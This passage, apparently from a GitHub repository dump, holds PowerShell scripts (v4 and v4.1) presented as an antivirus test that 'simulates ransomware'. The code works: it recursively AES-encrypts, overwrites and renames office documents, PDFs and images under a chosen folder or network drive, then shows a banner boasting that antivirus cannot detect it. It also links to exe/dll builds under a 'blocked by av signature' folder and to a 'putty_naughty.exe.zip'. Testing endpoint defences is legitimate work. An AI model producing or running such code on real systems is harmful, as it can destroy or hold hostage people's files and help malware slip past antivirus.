Path: " + $FolderBrowserDialog.SelectedPath | Out-File -FilePath popup.html -Append 56 | "
" + (Get-Date).ToString('MM/dd/yyyy hh:mm:ss tt') | Out-File -FilePath popup.html -Append 57 | "
" | Out-File -FilePath popup.html -Append 58 | "
" | Out-File -FilePath popup.html -Append 59 | "" | Out-File -FilePath popup.html -Append 60 | "" | Out-File -FilePath popup.html -Append 61 | Invoke-Expression .\popup.html 62 | Write-Host "" 63 | Write-Host "Encryption Key: " $Key 64 | Write-Host "Encrypted File: " $global:processedfile 65 | Write-Host "" 66 | Write-Host "Operation completed!" 67 | } 68 | 69 | Add-Type -AssemblyName System.Windows.Forms 70 | Add-Type -AssemblyName System.Drawing 71 | 72 | $objForm = New-Object System.Windows.Forms.Form 73 | $objForm.AutoSize = $True 74 | $objForm.Text = "[Encrypt Delete Test v4]" 75 | $objForm.StartPosition = "CenterScreen" 76 | 77 | $objLabel = New-Object System.Windows.Forms.label 78 | $objLabel.Text = "[Encrypt Delete Test v4] 79 | Simulate ransomware encryption operation 80 | By Eddie Chu eddiechu.android@gmail.com 81 | Please download the original and latest version from https://github.com/eddiechu/Encrypt-Delete-Test 82 | Version v4.0.0 (22/Sept/2021)`r`n 83 | This tool encrypts - overwrites - renames the file under selected folder and it's subfolder(s))`r`n 84 | [Caution] 85 | You use this tool completely at your own risk. 86 | " 87 | $objLabel.AutoSize = $True 88 | $objForm.Controls.Add($objLabel) 89 | 90 | Write-Host $objLabel.Text 91 | 92 | $objCombobox=New-Object System.Windows.Forms.combobox 93 | $objCombobox.Text = "Please select" 94 | $objCombobox.Items.add("Encrypt") 95 | $objCombobox.Items.add("Decrypt") 96 | $objCombobox.Top = ($objLabel.Height + 10) 97 | $objForm.Controls.Add($objCombobox) 98 | 99 | $button_click= 100 | { 101 | if ($objCombobox.SelectedItem -eq "Encrypt"){ 102 | Write-Host 'encrypt' 103 | $FolderBrowserDialog = New-Object System.Windows.Forms.FolderBrowserDialog 104 | $FolderBrowserDialog.SelectedPath = (Get-Location).path 105 | If ($FolderBrowserDialog.ShowDialog() -eq [System.Windows.Forms.DialogResult]::OK){ 106 | Write-Host $FolderBrowserDialog.SelectedPath 107 | Write-Host 108 | Get-ChildItem $FolderBrowserDialog.SelectedPath -Recurse -Attributes !Directory -Include *.doc,*.docx,*.xls,*.xlsx,*.txt,*.rtf,*.pdf,*.jpg,*.jpeg,*.gif,*.bmp,*.png | % {EncryptFile $_.FullName} 109 | Banner 110 | } 111 | } 112 | elseif ($objCombobox.SelectedItem -eq "Decrypt"){ 113 | Write-Host 'decrypt' 114 | $FolderBrowserDialog = New-Object System.Windows.Forms.FolderBrowserDialog 115 | $FolderBrowserDialog.SelectedPath = (Get-Location).path 116 | If ($FolderBrowserDialog.ShowDialog() -eq [System.Windows.Forms.DialogResult]::OK){ 117 | Write-Host $FolderBrowserDialog.SelectedPath 118 | Write-Host 119 | Get-ChildItem $FolderBrowserDialog.SelectedPath -Recurse -Attributes !Directory -Include *.crypted | % {DecryptFile $_.FullName} 120 | Write-Host "Operation completed!" 121 | } 122 | } 123 | Else{ 124 | [System.Windows.Forms.MessageBox]::Show('Please select option',"[Encrypt Delete Test v4]",[System.Windows.Forms.MessageBoxButtons]::OK,[System.Windows.Forms.MessageBoxIcon]::Warning) 125 | } 126 | } 127 | 128 | $objButton = New-Object System.Windows.Forms.Button 129 | $objButton.Top = ($objLabel.Height + 50) 130 | $objButton.Text = "Choose a folder or network drive to process the test" 131 | $objButton.AutoSize = $True 132 | $objButton.Add_Click($button_click) 133 | $objForm.Controls.Add($objButton) 134 | 135 | $objForm.ShowDialog() 136 | 137 | $aesManaged.Dispose() 138 | $shaManaged.Dispose() 139 | -------------------------------------------------------------------------------- /blocked by av signature/EncryptDelTestv4.1.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/blocked by av signature/EncryptDelTestv4.1.dll -------------------------------------------------------------------------------- /blocked by av signature/EncryptDelTestv4.1.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/blocked by av signature/EncryptDelTestv4.1.exe -------------------------------------------------------------------------------- /blocked by av signature/EncryptDelTestv4.1.ps1: -------------------------------------------------------------------------------- 1 | $global:processedfile=0; 2 | $Key = 'enctest@123' 3 | $shaManaged = New-Object System.Security.Cryptography.SHA256Managed 4 | $aesManaged = New-Object System.Security.Cryptography.AesManaged 5 | $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC 6 | $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros 7 | $aesManaged.BlockSize = 128 8 | $aesManaged.KeySize = 256 9 | $aesManaged.Key = $shaManaged.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Key)) 10 | #$aesManaged.Key = $Key 11 | $encryptor = $aesManaged.CreateEncryptor() 12 | 13 | Function EncryptFile($File){ 14 | $plainBytes = [System.IO.File]::ReadAllBytes($File) 15 | $outPath = $File + ".gg" 16 | 17 | $encryptedBytes = $encryptor.TransformFinalBlock($plainBytes, 0, $plainBytes.Length) 18 | $encryptedBytes = $aesManaged.IV + $encryptedBytes 19 | 20 | [System.IO.File]::WriteAllBytes($File, $encryptedBytes) 21 | Write-Host "Encrypt and overwrite to $File" 22 | Rename-Item $File $outPath 23 | Write-Host "Rename to $outPath" 24 | Write-Host 25 | if ([System.IO.File]::Exists($outPath)) { 26 | $global:processedfile += 1 27 | } 28 | 29 | } 30 | 31 | Function DecryptFile($File){ 32 | $cipherBytes = [System.IO.File]::ReadAllBytes($File) 33 | $outPath = $File -replace ".gg" 34 | 35 | $aesManaged.IV = $cipherBytes[0..15] 36 | $decryptor = $aesManaged.CreateDecryptor() 37 | $decryptedBytes = $decryptor.TransformFinalBlock($cipherBytes, 16, $cipherBytes.Length - 16) 38 | 39 | [System.IO.File]::WriteAllBytes($outPath, $decryptedBytes) 40 | Write-Host "Decrypt to $outPath" 41 | Write-Host 42 | } 43 | 44 | Function Banner{ 45 | "" | Out-File -FilePath popup.html 46 | "" | Out-File -FilePath popup.html -Append 47 | "EncryptDelTestv4.1" | Out-File -FilePath popup.html -Append 48 | "" | Out-File -FilePath popup.html -Append 49 | "[EncryptDelTestv4.1]



" | Out-File -FilePath popup.html -Append 50 | "Your anti-virus software CANNOT detect this test

" | Out-File -FilePath popup.html -Append 51 | "
" | Out-File -FilePath popup.html -Append 52 | "
" | Out-File -FilePath popup.html -Append 53 | "
Encryption Key: " + $Key | Out-File -FilePath popup.html -Append 54 | "
Encrypted File: " + $global:processedfile | Out-File -FilePath popup.html -Append 55 | "
Path: " + $FolderBrowserDialog.SelectedPath | Out-File -FilePath popup.html -Append 56 | "
" + (Get-Date).ToString('MM/dd/yyyy hh:mm:ss tt') | Out-File -FilePath popup.html -Append 57 | "
" | Out-File -FilePath popup.html -Append 58 | "
" | Out-File -FilePath popup.html -Append 59 | "" | Out-File -FilePath popup.html -Append 60 | "" | Out-File -FilePath popup.html -Append 61 | Invoke-Expression .\popup.html 62 | Write-Host "" 63 | Write-Host "Encryption Key: " $Key 64 | Write-Host "Encrypted File: " $global:processedfile 65 | Write-Host "" 66 | Write-Host "Operation completed!" 67 | } 68 | 69 | Add-Type -AssemblyName System.Windows.Forms 70 | Add-Type -AssemblyName System.Drawing 71 | 72 | $objForm = New-Object System.Windows.Forms.Form 73 | $objForm.AutoSize = $True 74 | $objForm.Text = "[Encrypt Delete Test v4.1]" 75 | $objForm.StartPosition = "CenterScreen" 76 | 77 | $objLabel = New-Object System.Windows.Forms.label 78 | $objLabel.Text = "[Encrypt Delete Test v4.1] 79 | Simulate ransomware encryption operation 80 | By Eddie Chu eddiechu.android@gmail.com 81 | Please download the original and latest version from https://github.com/eddiechu/Encrypt-Delete-Test 82 | Version v4.1 (11/Sep/2022)`r`n 83 | This tool encrypts - overwrites - renames the file under selected folder and it's subfolder(s))`r`n 84 | [Caution] 85 | You use this tool completely at your own risk. 86 | " 87 | $objLabel.AutoSize = $True 88 | $objForm.Controls.Add($objLabel) 89 | 90 | Write-Host $objLabel.Text 91 | 92 | $objCombobox=New-Object System.Windows.Forms.combobox 93 | $objCombobox.Text = "Please select" 94 | $objCombobox.Items.add("Encrypt") 95 | $objCombobox.Items.add("Decrypt") 96 | $objCombobox.Top = ($objLabel.Height + 10) 97 | $objForm.Controls.Add($objCombobox) 98 | 99 | $button_click= 100 | { 101 | if ($objCombobox.SelectedItem -eq "Encrypt"){ 102 | Write-Host 'encrypt' 103 | $FolderBrowserDialog = New-Object System.Windows.Forms.FolderBrowserDialog 104 | $FolderBrowserDialog.SelectedPath = (Get-Location).path 105 | If ($FolderBrowserDialog.ShowDialog() -eq [System.Windows.Forms.DialogResult]::OK){ 106 | Write-Host $FolderBrowserDialog.SelectedPath 107 | Write-Host 108 | Get-ChildItem $FolderBrowserDialog.SelectedPath -Recurse -Attributes !Directory -Include *.doc,*.docx,*.xls,*.xlsx,*.txt,*.rtf,*.pdf,*.jpg,*.jpeg,*.gif,*.bmp,*.png | % {EncryptFile $_.FullName} 109 | Banner 110 | } 111 | } 112 | elseif ($objCombobox.SelectedItem -eq "Decrypt"){ 113 | Write-Host 'decrypt' 114 | $FolderBrowserDialog = New-Object System.Windows.Forms.FolderBrowserDialog 115 | $FolderBrowserDialog.SelectedPath = (Get-Location).path 116 | If ($FolderBrowserDialog.ShowDialog() -eq [System.Windows.Forms.DialogResult]::OK){ 117 | Write-Host $FolderBrowserDialog.SelectedPath 118 | Write-Host 119 | Get-ChildItem $FolderBrowserDialog.SelectedPath -Recurse -Attributes !Directory -Include *.gg | % {DecryptFile $_.FullName} 120 | Write-Host "Operation completed!" 121 | } 122 | } 123 | Else{ 124 | [System.Windows.Forms.MessageBox]::Show('Please select option',"[Encrypt Delete Test v4.1]",[System.Windows.Forms.MessageBoxButtons]::OK,[System.Windows.Forms.MessageBoxIcon]::Warning) 125 | } 126 | } 127 | 128 | $objButton = New-Object System.Windows.Forms.Button 129 | $objButton.Top = ($objLabel.Height + 50) 130 | $objButton.Text = "Choose a folder or network drive to process the test" 131 | $objButton.AutoSize = $True 132 | $objButton.Add_Click($button_click) 133 | $objForm.Controls.Add($objButton) 134 | 135 | $objForm.ShowDialog() 136 | 137 | $aesManaged.Dispose() 138 | $shaManaged.Dispose() 139 | -------------------------------------------------------------------------------- /blocked by av signature/loader.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/blocked by av signature/loader.dll -------------------------------------------------------------------------------- /putty_naughty.exe.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/putty_naughty.exe.zip -------------------------------------------------------------------------------- /testfile/more_testfile.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/testfile/more_testfile.zip -------------------------------------------------------------------------------- /testfile/testfile.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/testfile/testfile.zip --------------------------------------------------------------------------------